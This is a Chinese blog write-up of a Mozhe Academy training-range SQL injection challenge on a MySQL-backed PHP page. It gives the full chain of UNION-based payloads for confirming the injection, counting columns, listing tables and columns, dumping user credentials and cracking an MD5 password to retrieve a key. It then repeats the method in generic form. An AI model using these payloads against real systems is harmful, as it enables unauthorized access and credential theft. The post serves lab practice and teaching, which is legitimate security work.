SQL注入【一】墨者学院-SQL注入漏洞测试(MySQL数据库)

本文详细介绍了如何通过SQL注入漏洞进行测试和信息获取。首先,通过探测地址栏URL变化发现了可能的注入点,然后通过构造不同Payload验证了注入的存在,并确定了数据库字段数、回显位置。接着,获取了数据库名、版本、数据表名及字段信息,最终通过查询字段内容解密得到了关键数据,成功登录并获取了key。这个过程揭示了SQL注入攻击的步骤和技术细节。
SQL注入【一】墨者学院-SQL注入漏洞测试(MySQL数据库)
地址:https://www.mozhe.cn/bug/djdsS0VVb0sxVytXY0NKMXZUeGJ4dz09bW96aGUmozhe?page=3

在这里插入图片描述

解题过程
  1. 寻找可注入网页,原网页尝试任意账密登录后地址栏没有回显,发现点击下图中的通知网页后地址栏信息为

    http://219.153.49.228:47011/new_list.php?id=1 //可能存在注入点
    在这里插入图片描述

  2. 寻找回显,构造Payload分别进行注入

    ?id=1 and 1=1 –

    ?id=1 and 1=2 –

在这里插入图片描述
在这里插入图片描述

说明存在注入点;
  1. 查询字段(列)数:字段数为4

    ?id=1 order by 4 –

    or

    ?id=1 order by 5 –

  2. 确认回显位置:2,3 均为回显位

    ?id=-1 union select 1,2,3,4 –

在这里插入图片描述

  1. 查询数据库名以及数据库版本:mozhe_Discuz_StormGroup

    ?id=-1 union select 1,database(),version(),4 –

在这里插入图片描述

  1. 查询数据表:StormGroup_member,notice

    ?id=-1 union select 1,group_concat(table_name),version(),4 from information_schema.tables where table_schema=database() –

在这里插入图片描述

  1. 查询字段:id,name,password,status

    ?id=-1 union select 1,group_concat(column_name),version(),4 from information_schema.columns where table_name=‘StormGroup_member’ and table_schema=database() –

在这里插入图片描述

  1. 查看字段内容:

    ?id=-1 union select 1,group_concat(id,0x3a,name,0x3a,password,0x3a,status),3,4 from StormGroup_member –

在这里插入图片描述

  1. 经查询得到两条数据,观察可得用户名name=‘mozhe’

    status(状态)一个为1,一个为0,考虑为1的密码是正确密码,经md5解密

在这里插入图片描述

  1. 登录原网页,拿到key:

在这里插入图片描述

### MySQL数据库中的SQL手工注入漏洞测试方法 #### 测试前准备 为了安全有效地进行SQL注入测试,建议在个受控环境中操作。通常会搭建个包含Nginx、PHP以及MySQL的靶场环境,在此环境下可以自由尝试各种攻击向量而不会影响生产数据。 #### 获取当前使用的数据库名称 通过构造特定查询语句来获取正在使用的数据库名是个常见的起点。例如,可以通过访问`/new_list.php?id=-1 union select 1,database(),3,4`这样的URL路径实现这点[^3]。这将返回当前连接到的应用程序所使用的具体数据库的名字。 #### 列出所有可用表格 旦知道了具体的数据库名字之后,下步就是找出该数据库中存在的所有表单。利用如下所示的HTTP请求字符串即可完成这目的:`/new_list.php?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3 -- -` 。这里假设已知的安全数据库名为'security'[^2]。请注意实际应用时应替换为之前获得的确切数据库名称。 #### 探索选定表内的列详情 当掌握了感兴趣的表的信息后,则可进步探索这些表内部的具体结构——即它们各自拥有的字段列表。对于每个想要了解其组成的表而言,都可以执行类似于下面这条命令的操作(以users为例): ```sql /new_list.php?id=-1 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),DATABASE(),4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' ``` #### 提取敏感信息 最后步是从确认过的表里读取出有用的数据项。比如要查看用户账号及其密码哈希值的话,就可以发送像这样格式化的GET请求给服务器端口: ```sql /new_list.php?id=-1 UNION SELECT 1,username,password,DATABASE() FROM users-- ``` 以上过程展示了如何逐步深入挖掘潜在存在的SQL注入缺陷并从中提取有价值的情报。然而值得注意的是,上述技术仅适用于教育用途下的合法渗透测试活动;未经授权擅自入侵他人信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

克洛哀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值